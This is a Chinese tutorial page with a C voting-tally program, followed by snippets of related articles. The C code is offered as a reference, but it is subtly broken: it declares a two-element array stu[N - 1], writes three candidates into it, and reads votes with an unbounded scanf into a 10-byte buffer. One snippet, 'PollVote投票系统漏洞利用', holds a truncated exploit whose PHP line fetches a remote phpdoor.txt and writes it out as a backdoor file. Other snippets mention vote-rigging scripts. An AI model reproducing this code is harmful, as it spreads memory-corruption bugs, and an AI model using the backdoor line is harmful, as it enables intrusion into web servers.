C语言实现投票系统

本文实例为大家分享了C语言实现投票系统的具体代码,供大家参考,具体内容如下

问题:

某个班级有3个候选人,有6个同学参与投票,而且只能投一个人,要求编写统计选票的程序。先输入候选人名字,再输入同学所投的候选人名字,最后根据每位候选人的得票数排序

思路:

先定义一个学生结构体 stduent,结构体中包含姓名,票数。
同时声明结构数组stu[N - 1],里面存放候选人信息
输入候选人的姓名,开始投票。如果输入的字符串和候选人的姓名一样,就累加。
之后,用冒泡排序。最后输出排完序票数。

个人感觉我做的这个,很简陋。只是完成了基本的功能

// vote.c --投票系统,用结构体实现
#include <stdio.h>
#include <string.h>
#define N 3    // 候选人
#define M 6    // 学生
struct stduent{ // 声明学生结构体
  char name[20]; // 姓名
  int num;  // 票数
} stu[N - 1];

int main(void)
{
  int i, j;
  char temp[10];

  for (i = 0; i < N; i++)
  {
    printf("请输入第%d个候选人姓名:", i + 1);
    scanf("%s", stu[i].name);
  }

  for (i = 0; i < M; i++)
  {
    printf("请第%d个学生输入投票结果:", i+1);
    scanf("%s", temp);

    for (j = 0; j < N; j++)
      if (strcmp(stu[j].name, temp) == 0)
      {
        stu[j].num++;
        break;
      }
  }

  // 冒泡排序
  // 创建中间结构变量
  struct stduent t;
  for (i = 1; i < N; i++)
    for (j = N - 1; j >= i; j--)
    {
      if (stu[j - 1].num < stu[j].num)
      {
        t = stu[j - 1];
        stu[j - 1] = stu[j];
        stu[j] = t;
      }
    }

  printf("\n投票排名:\n");
  for (i = 0; i < N; i++)
    printf("%s的票数是%d\n", stu[i].name, stu[i].num);

  return 0;
}

附图:

更多学习资料请关注专题《管理系统开发》。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • C语言实现投票系统

    本文实例为大家分享了C语言实现投票系统的具体代码,供大家参考,具体内容如下 问题: 某个班级有3个候选人,有6个同学参与投票,而且只能投一个人,要求编写统计选票的程序.先输入候选人名字,再输入同学所投的候选人名字,最后根据每位候选人的得票数排序 思路: 先定义一个学生结构体 stduent,结构体中包含姓名,票数. 同时声明结构数组stu[N - 1],里面存放候选人信息 输入候选人的姓名,开始投票.如果输入的字符串和候选人的姓名一样,就累加. 之后,用冒泡排序.最后输出排完序票数. 个人感觉我

  • php投票系统之增加与删除投票(管理员篇)

    关于投票系统怎么样怎么样的引言就不多说,这不是毕业设计,主要说一下使用php实现投票系统,与其他普通系统一样,分为两部分,一个是管理员部分,一个是普通用户部分. 关于投票系统的管理部分,非常之简单,提供两部分的功能,增加投票与删除投票 关键在于设计好数据库的表,拟定于这样存一个投票,voteparent表存这个投票的标题.描述是否被删除,votechildren表存这个投票的子选项与投票数 一.基本目标 首先投票系统是这样的: 三个链接,点进去能够直接进行相关功能的操作,本文主写管理员部分,普通

  • 简易的投票系统以及js刷票思路和方法

    早就听说有什么刷票脚本,微博投票等等相关的投票都有某些人去刷票. 试一下吧,兴许自己也会刷票呢?捣鼓了几个小时,终于有所眉目. (1)投票系统 要刷票,就得先有个投票界面. 当然,可以直接去各个投票网站就行,不过这里还是自己弄个投票页面,方便自己. 页面大致如下 或者 查看演示 照理,界面很简洁,但也基本有了投票的基本功能. 原始规则是:只能投一次票,然后提示成功,然后按钮不可用. 都是原生JS,DOM操作不灵活的可以借此练练手.当然,用jq将会很便捷. html/css部分 <!DOCTYPE

  • js脚本编写简单刷票投票系统

    本文实例为大家分享了js刷票投票系统的具体代码,供大家参考,具体内容如下 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta h

  • PHP投票系统防刷票判断流程分析

    近期,我做了一个娱乐门户的投票系统,也是被刷票搞的焦头烂额,一切可用的方法都用了.但都不是太理想,最终,琢磨出来了下面的方法,我做成了流程图与大家分享.看不懂流程的也不要钻牛角了,本人也不做太多无聊的解释,当然,这个流程只是一个大体的过程,中间还有很多的判断,主要运用的还是session.因为什么验证码什么的,那你别用在互联网投票系统中来吧,没有人去验证,一看就烦了.还是那句话,我的WEB开发笔记中写的全是一些简单的思想性的东西,如果想完善,可以自己扩展.本人没有时间解释.以下的流程图中,一定要

  • php redis实现文章发布系统(用户投票系统)

    本文实例为大家分享了php实现文章发布系统.用户投票系统的具体代码,供大家参考,具体内容如下 /** * @data 文章发布 * 文章详情散列表中递增ID,讲文章发布者ID写入投票用户集合中,设置投票时间为一周 * 讲文章内容写入文章散列中,讲文章写入文章评分有序集合和文章发布有序集合中 * @author Lorne * @date 2017-03-03 */ public function post_article($user){ $VOTE_SCORE = 24; $redis = $t

  • PHP+MySQL实现的简单投票系统实例

    本文实例讲述了PHP+MySQL实现的简单投票系统.分享给大家供大家参考,具体如下: <html> <head><title>手机系统调查问卷</title> <style type="text/css"> <!-- span{ width:600px; height:100px; background-color:write; postion:relative; border:1px #cccccc solid; }

  • PollVote投票系统漏洞利用

    PollVote是一个投票系统,今天看了非安全的杂志,看了利用方法, 不过作者说利用过程的时候很烦琐,关键的时候又没说明白, 简单的说一下`` 首先建立2个文本 分别是creatfile.txt和phpdoor.txt creatfile.txt内容写 <? $f=file_get_contents("http://www.hackeroo.com/phpdoor.txt"); $ff=fopen("111.php","a"); fwrit

  • C语言银行储蓄系统源码

    本文为大家分享了C语言银行储蓄系统源码,实现银行的各项功能,供大家参考,具体内容如下 #include <stdio.h> #include <stdlib.h> #include <conio.h> #include <string.h> void openaccount();//开户 void save();//存款 void withdraw();//取款 void showAccount();//查询 void transferAccounts();

  • C语言商品销售系统源码分享

    本文实例为大家分享了C语言商品销售系统的具体代码,供大家参考,具体内容如下 #include<stdio.h> //头文件 #include<string.h> //头文件 #include<stdlib.h> //头文件 #define M 100 //货物种类 #define N 100 //顾客数目 struct goods //单个货物信息格式 { int number; //产品编号 char name[20]; //产品名称 int price1; //进价

随机推荐